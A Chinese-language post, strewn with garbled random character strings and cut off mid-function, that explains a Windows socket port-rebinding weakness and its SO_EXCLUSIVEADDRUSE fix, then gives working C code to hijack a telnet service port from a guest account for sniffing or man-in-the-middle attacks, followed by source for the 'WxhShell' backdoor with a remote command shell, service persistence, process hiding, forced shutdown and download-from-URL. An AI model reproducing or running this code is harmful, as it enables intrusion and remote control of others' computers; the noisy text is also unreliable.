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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "'C5B>qO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~E/=nv$ v#EFklOP saddr.sin_family = AF_INET; ^7a@?|,q8 k136n#KN1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); $z`l{F4eMf N<b~,[yCd> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xIwILY|W= O`5h jq# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +cM~| h^
K]ASj 这意味着什么?意味着可以进行如下的攻击: [N#4H3GM8 f[
KI
T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o/ 7[
G 6AoKuT; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IJVzF1vC [] el4.J, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lF
t^dl^ xz,o Mlw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 m>RtKCtP 10)RLh|+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {T-^xwc 'rTJ*1i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GaV} @Q hxMV?\MYj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &;~?\>?I i[ >U#5 #include 7dv! #include 3 NFo=Z8 #include y` {|D* #include iXq*EZb"R DWORD WINAPI ClientThread(LPVOID lpParam); *Q)-"]O(k int main() "
%qr*| { :K 5?&kT WORD wVersionRequested; wWSo+40 DWORD ret; )U7fPKQ WSADATA wsaData; 1wm`a BOOL val; /='Q-`?9 SOCKADDR_IN saddr; 81C;D`!K SOCKADDR_IN scaddr; ?z2! ? int err; {3.n!7+ SOCKET s; 7t1as. SOCKET sc; 5E*Qqe int caddsize; (G/(w%#7_ HANDLE mt; R>]7l!3^1 DWORD tid; |sY wVersionRequested = MAKEWORD( 2, 2 ); )0DgFA6k_ err = WSAStartup( wVersionRequested, &wsaData ); E-($Xc if ( err != 0 ) { T
"hjL printf("error!WSAStartup failed!\n"); wph8ln"C- return -1; s;..a&C' } B"zB=Aw saddr.sin_family = AF_INET; Fq_>}k@fI ,L lYRj 5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uE<8L(*B ~)n[Vf saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <*WGvCh%w saddr.sin_port = htons(23); 3fA+{Y8S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X6T[+]Gc { TZ `Ypi7r printf("error!socket failed!\n"); 1uppE| return -1; Gz BPI'C } ,k=8|=aF val = TRUE; seRf q& //SO_REUSEADDR选项就是可以实现端口重绑定的
/.=aA~| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @56*r@4:q { 6yO5{._M printf("error!setsockopt failed!\n"); {M7`"+~w return -1; .6LRg } D9NQ3[R 9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >MSK.SNh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >*opE I+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9D Nd} rXO (wu ciKQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NbTaI{r { V.*y_=i8t ret=GetLastError(); ^<;CIXo printf("error!bind failed!\n"); EpQy;#=; return -1; aSu^ } 4/k`gT4 listen(s,2); e9
@{[ while(1)
D~BL Txq { g4W/T caddsize = sizeof(scaddr); FRajo~H //接受连接请求 )QRT/, ;c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0[M2LF!m if(sc!=INVALID_SOCKET) |Olz h63k: { `/'p1?Z" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _ E-\aS{ if(mt==NULL) =.&8ghJ*M { qp/1tC` printf("Thread Creat Failed!\n"); [f!
{
-T break; Yh!=mW!OY } Shn=Q } B :S8{ CloseHandle(mt); de)4)EzUP } OzD\*,{7 closesocket(s); Wh) WSACleanup(); 7}y@VO6] return 0; rMHh!)^#W } 9(OeH7 DWORD WINAPI ClientThread(LPVOID lpParam) T/2k2r4PD { ]jC{o,?s SOCKET ss = (SOCKET)lpParam; h# KSKKNW SOCKET sc; eY'nS unsigned char buf[4096]; 4L ]4WVc SOCKADDR_IN saddr; 7s3=Fa:9Q long num; c"-X:m" DWORD val; XzSl"U PYH DWORD ret; L+p}%!g //如果是隐藏端口应用的话,可以在此处加一些判断 Q{?\qCrrYl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 l@*$C&E saddr.sin_family = AF_INET; :"Otsb7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s]OZ+^Z saddr.sin_port = htons(23); tgl(*[T2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oA@M = { ?upd printf("error!socket failed!\n"); t-o,iaPG3 return -1; 8a`3eM~?[ } RXg\A!5GV val = 100; R`E:`t4G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t!SxJB e { WeaT42*Q{ ret = GetLastError(); ygj%VG return -1; 3<"j/9;K' } @&`^#pok if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xwdcy J! {
6?*Do ret = GetLastError(); 0kj5r*qA return -1; ybqmPT'|_ } o$l8"Uv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pfHjs3A= { egSs=\ printf("error!socket connect failed!\n"); wK7w[Xt closesocket(sc); |;xEKnF closesocket(ss); JbL3/h] return -1; &9)/" } 036m\7+Qj while(1) 5,s@K>9l; { (lS[a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r7g@(K //如果是嗅探内容的话,可以再此处进行内容分析和记录 gaz",kK< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hnB`+! num = recv(ss,buf,4096,0); `^[Tu 1 if(num>0) {<@ud0A:\ send(sc,buf,num,0); JDZuT# else if(num==0) fdX|t"oz break; ][tR=Y#&y5 num = recv(sc,buf,4096,0); gC(S(osF if(num>0) }T(=tfv@ send(ss,buf,num,0); ~!~i_L\V else if(num==0) %(p9AE break; `ovMfL.u } )mf|3/o closesocket(ss); l7jen=(Zb; closesocket(sc); VgIk '. return 0 ; H`fJ<So? } R*2N\2 3IQI={:k|D }xt^}:D ========================================================== ?!U.o1 s|A[HQUtJ 下边附上一个代码,,WXhSHELL }q]*aADe 9xz@2b@ ========================================================== k<Gmb~Tg1 AVw oOvJ #include "stdafx.h" }DM W,+3 A03io8D6 #include <stdio.h> EjFpQ|-L| #include <string.h> f~\H|E8( #include <windows.h> w^
z ftm #include <winsock2.h> @(35I #include <winsvc.h> PNo:[9`S;m #include <urlmon.h> ]?H12xz -K?lhu #pragma comment (lib, "Ws2_32.lib") 2^
]^Yc #pragma comment (lib, "urlmon.lib") Jh=.}FXnjL
l$\B>u,> #define MAX_USER 100 // 最大客户端连接数 qhvT," #define BUF_SOCK 200 // sock buffer T=u"y;&L #define KEY_BUFF 255 // 输入 buffer ]
&" ` }(!Uq #define REBOOT 0 // 重启 qMVuFwPhi #define SHUTDOWN 1 // 关机 !;(Wm6~*ad ()Kaxcs?+ #define DEF_PORT 5000 // 监听端口 kN1R8| pv vJGH8$%;, #define REG_LEN 16 // 注册表键长度 /huh}&NNu #define SVC_LEN 80 // NT服务名长度 -O?HfQ CF','gPnc // 从dll定义API N8At N\e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cy uRj[;B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ !#Dba# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D!Y@Og. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jQm~F`z NYP3u_
QX // wxhshell配置信息 1c#\CO1l struct WSCFG { \9OKf|#j int ws_port; // 监听端口 !9NF@e'&! char ws_passstr[REG_LEN]; // 口令 zEO~mJzo int ws_autoins; // 安装标记, 1=yes 0=no ?2da6v,t char ws_regname[REG_LEN]; // 注册表键名 f!yl&ulKU char ws_svcname[REG_LEN]; // 服务名 -hW>1s< char ws_svcdisp[SVC_LEN]; // 服务显示名 Xwo+iZ(a char ws_svcdesc[SVC_LEN]; // 服务描述信息 *9r(lmrfj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /iM1 int ws_downexe; // 下载执行标记, 1=yes 0=no G\MeJSt* char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0(Y,Q(JTo& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0LL65[ HP_h!pvx }; %La7);SeY )@I] Rk? // default Wxhshell configuration bj@R[!ss struct WSCFG wscfg={DEF_PORT, $8U$.~v "xuhuanlingzhe", S@3`H8 [ 1, *5oQZ".vA* "Wxhshell", nlhv "Wxhshell", WgR%mm^ "WxhShell Service", @OT$* Qh "Wrsky Windows CmdShell Service", i0wBZ i? "Please Input Your Password: ", lJ= EP.T 1, /cx'(AT " http://www.wrsky.com/wxhshell.exe", !y~nsy:&7x "Wxhshell.exe" dtY8>klI };
`ql8y ' U4-RI]Cpf // 消息定义模块 KG(FA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VT4>6u} char *msg_ws_prompt="\n\r? for help\n\r#>"; E"p _!!1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; \.i ejB char *msg_ws_ext="\n\rExit."; p<'pqf char *msg_ws_end="\n\rQuit."; k"gm;,` char *msg_ws_boot="\n\rReboot..."; -f ~1Id char *msg_ws_poff="\n\rShutdown..."; iR9duP+ char *msg_ws_down="\n\rSave to "; xg,
9~f[ ob/<;SrU< char *msg_ws_err="\n\rErr!"; @.a59kP8X char *msg_ws_ok="\n\rOK!"; ~E8/m_> rU W&cs&>F# char ExeFile[MAX_PATH]; n_]B5U int nUser = 0; qvo!nr7 HANDLE handles[MAX_USER]; [^}bc-9?i int OsIsNt; ^
op0"
#B h@*I(ND< SERVICE_STATUS serviceStatus; ~a2|W|? SERVICE_STATUS_HANDLE hServiceStatusHandle; %hBwc#^ >6&Rytcc] // 函数声明 q9{ h@y int Install(void); > O?<? int Uninstall(void); .YvIVQ int DownloadFile(char *sURL, SOCKET wsh); 5655)u.N8 int Boot(int flag); vv2[t void HideProc(void); _8y4U[L int GetOsVer(void); E A55! int Wxhshell(SOCKET wsl); 0[d*Z void TalkWithClient(void *cs); X=f %! int CmdShell(SOCKET sock); XY6Sm{ int StartFromService(void); vs+aUT C\ int StartWxhshell(LPSTR lpCmdLine); ^CQp5k p] `5oXf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2i#Ekon VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4zhh**]B 2 f%+1uU // 数据结构和表定义 C:sgT6 SERVICE_TABLE_ENTRY DispatchTable[] = %wru) { .
4RU'9M {wscfg.ws_svcname, NTServiceMain}, NpM;vO {NULL, NULL} tMP"9JE, }; 5c}loOq XPdqE`w=$p // 自我安装 CF-tod int Install(void) l?_Fy_fBt { o/a2n<4 char svExeFile[MAX_PATH]; di+|` O HKEY key; |%|Vlu strcpy(svExeFile,ExeFile); L1G)/Vkw ADOA&r[ // 如果是win9x系统,修改注册表设为自启动 tN)t`1_j if(!OsIsNt) { )f^^hEIS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AZik:C"Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |N6.:K[` RegCloseKey(key); IIGx+> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `S4*~Xx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3:#6/@wQ RegCloseKey(key); }.8yKj^p return 0; +Tx_q1/f5X } `ItoL7bi } V'dw=W17V } 2/A*\ else { H{i|?a) U}Puq5[ ? // 如果是NT以上系统,安装为系统服务 pZ*%zt]-a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nvwf!iU6 if (schSCManager!=0) UEx<;P8rP { HEc.3 SC_HANDLE schService = CreateService J9XH8Grk- ( `s+kYWg'Z schSCManager, noz1W ] wscfg.ws_svcname, pJ1\@G wscfg.ws_svcdisp, m:0[as= SERVICE_ALL_ACCESS, ^[bFG KE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s3@mk\?qMe SERVICE_AUTO_START, +hispU3ia SERVICE_ERROR_NORMAL, 9I<~t@q5e@ svExeFile, d)Z&_v<| NULL, o+XQMg NULL, +`1~zcu NULL, m`$Q/SyvG NULL, )/Eu=+d NULL :HrFbq ); Svo\+S if (schService!=0) u&TXN;I,p { t54?<- CloseServiceHandle(schService); ,G="wI CloseServiceHandle(schSCManager); I7=A!C" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @VG@|BQWa strcat(svExeFile,wscfg.ws_svcname); E>5p7=Or;" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2cIbX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k #\j \t- RegCloseKey(key); [S~Bt78d%r return 0; l.g.O>1
} `s
UY$Q } HIE8@Rv/3 CloseServiceHandle(schSCManager); }><[6Uz% } 9MI9$s2y } 0m> 8 ]i0=3H2 return 1; U~?mW,iRL } 6L\]Ee =)g}$r
&< // 自我卸载 4]p#9`j int Uninstall(void) bnanTH9- { ?ILjt? X8 HKEY key; &!WRa@x0I [dFcxzM-N if(!OsIsNt) { !||Gfia if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b.?;I7r
RegDeleteValue(key,wscfg.ws_regname); {m{nCl)y RegCloseKey(key);
f.aa@> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #OjyUQ, RegDeleteValue(key,wscfg.ws_regname); {29aNm RegCloseKey(key); |xg#Q`O return 0; {5c?_U } oq$#wiV"Q } 2.MUQ;OX } sSGXd=": else { x6!Q''f7 kFmtE
dhsc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <,/7:n if (schSCManager!=0) QZ;DZMP { #l:
1R&F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ErJ@$&7 if (schService!=0) BV7P_!vt { 6dz^%Ub if(DeleteService(schService)!=0) { W1)<!nwA CloseServiceHandle(schService); W+"^! p| CloseServiceHandle(schSCManager); .o C!~' return 0; YtWw)IK } ]'Ho)Q CloseServiceHandle(schService); OUGkam0UK } h.ftl2> CloseServiceHandle(schSCManager); }KIS_krs } fXl2i]L(^B } C%]qK(9vvd #s\kF * return 1; aTeW#:m } @0t[7Nv-1 $)9|"q6 // 从指定url下载文件 "cBqZzkk9j int DownloadFile(char *sURL, SOCKET wsh) @b^$h:H { <BZC5b6 HRESULT hr; gg%)#0Zi char seps[]= "/"; _JNYvngm char *token; r`EjD}2d char *file; q%$p56\?3 char myURL[MAX_PATH]; >C6S2ISSz char myFILE[MAX_PATH]; 2@z .ory. Rj>A", strcpy(myURL,sURL); :p]e4|R token=strtok(myURL,seps); uG6.(A1LM while(token!=NULL) ~re}6-? { |_8l9rB5ip file=token; <1>6!`b4 token=strtok(NULL,seps); 9"gu> } m}RZ)c Z~-N'Lt{ GetCurrentDirectory(MAX_PATH,myFILE); Y(kf<Wo strcat(myFILE, "\\"); >.K%W*t strcat(myFILE, file); P\6:euI send(wsh,myFILE,strlen(myFILE),0); iZeq
l1O send(wsh,"...",3,0); W,CAg7:* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ' F9gp!s8~ if(hr==S_OK) &<uLr
*+* return 0; ZOa| lB (, else iJ8Z^=> return 1; )mBYW}} T `G`R|B } leH7II9 R0tT4V+ // 系统电源模块 ~ |A0* int Boot(int flag) Xz)F-C27h { qT5"r488 HANDLE hToken; ,&M#[>\(3 TOKEN_PRIVILEGES tkp; Q25VG5G u)o-H!a if(OsIsNt) { QQV8Vlv" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =MJB: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~XuV:K3 tkp.PrivilegeCount = 1; `<>QKpAn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ug ;Xoh5w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0^uUt- if(flag==REBOOT) { ~:f..|JM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aHpZhR|f$ return 0; ZBY2,%nAo } WfG +_iP? else { @Bhcb.kbq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) },JJ!3 return 0; 7/QK"0 } t? 6 et1~ } >jIn&s!} else { _&S#;ni\c if(flag==REBOOT) { FibZT1-k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {9V.l.Q return 0; O]@#53)Tz } d*gv.mE else { pl1CPxSdO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >JS^yVk return 0; -XV+F@`Md }
C&vi7Yx } YkB@fTTS 1eshuL return 1; KHHYk>FR } t $Rc
0 xt,Qn460; // win9x进程隐藏模块 -mRgB"8 void HideProc(void) oU\7%gQ { ;zD4#7= }a~hd*-# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'gs P9 if ( hKernel != NULL ) SKnYeT { JRFUNy1+e1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O |P<s+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +8N6tw/& FreeLibrary(hKernel); &5b3k[K" } msfE; 9+N%Io?! return; EXVZ?NG } eU%49 A ?%Nh4+3N> // 获取操作系统版本 [tfB*m5 int GetOsVer(void) OmBz'sp: {
-NN=(p!< OSVERSIONINFO winfo; (iir,Ks2C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k"&o)*d GetVersionEx(&winfo); I]e+5 E0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;]=w6'dP! return 1; [F+W]Jk, else Yn="vpM1 return 0; d:K\W[$Bz } F.$z7ee@ .06D_L"M // 客户端句柄模块 mWaij]1> int Wxhshell(SOCKET wsl) )< G(C,!,. { ?=&S?p)-< SOCKET wsh; XxmWj-=qO struct sockaddr_in client; 4{zy)GE|W DWORD myID; |3,WiK=' IV. })8 while(nUser<MAX_USER) ..u{v}4& { 9_:"`)]3B int nSize=sizeof(client); f2IH2^)P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #vV]nI<MF. if(wsh==INVALID_SOCKET) return 1; _(h=@cv A[;deHg= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5qQMGN$K if(handles[nUser]==0) vQi=13Pw closesocket(wsh); PZ8,E{V else 5<ruN11G nUser++; k B]`py! } L7 }nmP>aR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ; o_0~l=-/ Hm'"I!jyO return 0; ~ `qWEu } L@(. i nI6ompTX // 关闭 socket TxG@#" ^g} void CloseIt(SOCKET wsh) e~lFjr] { }BlyEcw'aN closesocket(wsh); r4*H96l nUser--; $Xlr@)% ExitThread(0); !X-\;3kC0 } C'$}{%Cc@$
J3
Q_ // 客户端请求句柄 kMch void TalkWithClient(void *cs) )f:i4.M {
FJ~d&L\l /y-D_ SOCKET wsh=(SOCKET)cs; I{(!h90 char pwd[SVC_LEN]; OU,FU@6,7w char cmd[KEY_BUFF]; ^w1+b;) char chr[1]; Yt(FSb31H int i,j; E! NtD).=S hp'oiR;~w while (nUser < MAX_USER) { Gr2}N"X= %BkE %ZcZ if(wscfg.ws_passstr) { uKk#V6t# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'D5J5+.z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F:ycV~bE //ZeroMemory(pwd,KEY_BUFF); a4^hC[a i=0; [6mK<A,/ while(i<SVC_LEN) { rueaP "{D/a7]lC // 设置超时 JL87a^ro fd_set FdRead; J2VPOn struct timeval TimeOut; (t@)`N{ FD_ZERO(&FdRead); 1 gjaTPwY FD_SET(wsh,&FdRead); \T_ZcV TimeOut.tv_sec=8; Cst1nGPL TimeOut.tv_usec=0; /=6_2t#vA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7w)8s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ESV./~K 3?FY?Q[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $mM"C+dD pwd =chr[0]; x&;AY if(chr[0]==0xd || chr[0]==0xa) { $mGzJ4& pwd=0; 2PSExK57 break; j
"<?9/r } &EV%g6 i++; sX~E ~$_g } 1iz =i^} _9lMa7i // 如果是非法用户,关闭 socket ^\gb|LEnK if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cu#n5SF* } 5\quh2Q_ Ro2V-6/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PM84Z@Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wL),/i&< n zaDO-2! while(1) { #VX]trh, O6y:e#0z ZeroMemory(cmd,KEY_BUFF); j67a?0<C2U 9y6u&!PZ\ // 自动支持客户端 telnet标准 L D[\eJ_ j=0; _)5E= while(j<KEY_BUFF) { 45.ks. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )b1hF cmd[j]=chr[0]; QHO n?e
if(chr[0]==0xa || chr[0]==0xd) { t!rrYBSCr cmd[j]=0; -rcEG! break; E6~VHQa2? } }~@/r5Zl j++; Lf%3-P } &{8:XJe*,% a%`Yz"<lQ // 下载文件 ^x O](,H if(strstr(cmd,"http://")) { ^ou)c/68aQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); _@B? if(DownloadFile(cmd,wsh)) yy{YduI send(wsh,msg_ws_err,strlen(msg_ws_err),0); fphCQO^#vW else xW) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .c]>*/(+ } )Q`Ycz- else { =a,qRO N:U}b1$L6 switch(cmd[0]) { s&nat4{B
yGtTD9j // 帮助 H1U$ApD case '?': { K]$PRg1|3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^O7sQ7V"f= break; j$Ndq(<tG } Nut&g"u2 // 安装 HQ"T>xb case 'i': { 'm*W< if(Install()) QTa\&v[f send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;[ .u>f else ldTXW(^j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M4)U
[v break; n[DRX5OxR' } lGYW[0dy // 卸载 ddN(L`nd case 'r': { eowwN>-2C if(Uninstall()) Tfh2> send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A0_#g:2*# else iqB5h|
` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hGD@v{/ break; *bp09XG } *D%w r'!> // 显示 wxhshell 所在路径 BmpAH}%T case 'p': { 0^>,
char svExeFile[MAX_PATH]; vai w*?jV strcpy(svExeFile,"\n\r"); NL:-3W7vf strcat(svExeFile,ExeFile); npzp/mcIe) send(wsh,svExeFile,strlen(svExeFile),0); xDw~n (* break; (mP{A(kwJ } |1CX?8)b= // 重启 nyPeN?- case 'b': { '9u?lA^9$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jA9uB.I,"b if(Boot(REBOOT)) AcuZ?LYzK send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(q]
$eOZ else { E'4Psx9: = closesocket(wsh); 4#>Z.sf ExitThread(0); ?u:`?(\ } rtAPkXJFM break; >(P(!^[f } lv/im/]v // 关机 l9uocP:D case 'd': { j17h_ a; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Ns@W? if(Boot(SHUTDOWN)) !{+CzUo@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'MW%\W; else { ( gg )? closesocket(wsh); AJB
NM ExitThread(0); sm'_0EUg } ?l%4
P5 break; 4F.,Y3 } P`@Rt // 获取shell ] :LlOv$ case 's': { U%bm{oVn CmdShell(wsh); z<9C- closesocket(wsh); *;}xg{@ ExitThread(0); D*2*FDGI break; s i2@k } 3);P!W4> // 退出 "|I.j) case 'x': { $=diG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hO[_ _j8 CloseIt(wsh); N{bg-%s10i break; KE"6I } Hre&a!U // 离开 AJ6l#j- case 'q': { Kw"e4 a send(wsh,msg_ws_end,strlen(msg_ws_end),0); rzHBop-8 closesocket(wsh); rK'Lvt@w WSACleanup(); b||usv[or exit(1); o@gceZuk break; #pPOQv:~ } .*YF{!R`h } :@jctH~ } %ZD]qaU0 P\K#q%8 // 提示信息 Ox#vW6;) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G7CkP } U&6A)SW,k } h[qZM ?7wcv$K5 return; k^|z.$+ } ox`Zs2-a ppn 8 // shell模块句柄 <QvVPE}z int CmdShell(SOCKET sock) {.k IC@^O { }Fu1Y@M% STARTUPINFO si; uMva5o ZeroMemory(&si,sizeof(si)); 3'x>$5W si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v@Eb[7Kq/1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6M&ajl`o PROCESS_INFORMATION ProcessInfo; PEEaNOk
1b char cmdline[]="cmd"; %XN;S29d5W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -h7ssf'u[ return 0; ]QR]#[Tn' } QAx9W% vdn)+fZ;
// 自身启动模式 hd'fWFWN int StartFromService(void)
*~
I HVU { sXEIC#rq typedef struct OEl;R7aOB& { ?xUl_ DWORD ExitStatus; )t+pwh!8 DWORD PebBaseAddress; kOo Vqu DWORD AffinityMask; T8\@CV! DWORD BasePriority; mK$E&,OkA ULONG UniqueProcessId; J \|~k2~ ULONG InheritedFromUniqueProcessId; KRlJKd{ } PROCESS_BASIC_INFORMATION; |MKR&%Na lHM}
E$5 PROCNTQSIP NtQueryInformationProcess; Z<>gx m< j?*n@' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $!. [R} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r4[=pfe25 |DW^bv HANDLE hProcess; X%s5D&gr PROCESS_BASIC_INFORMATION pbi;
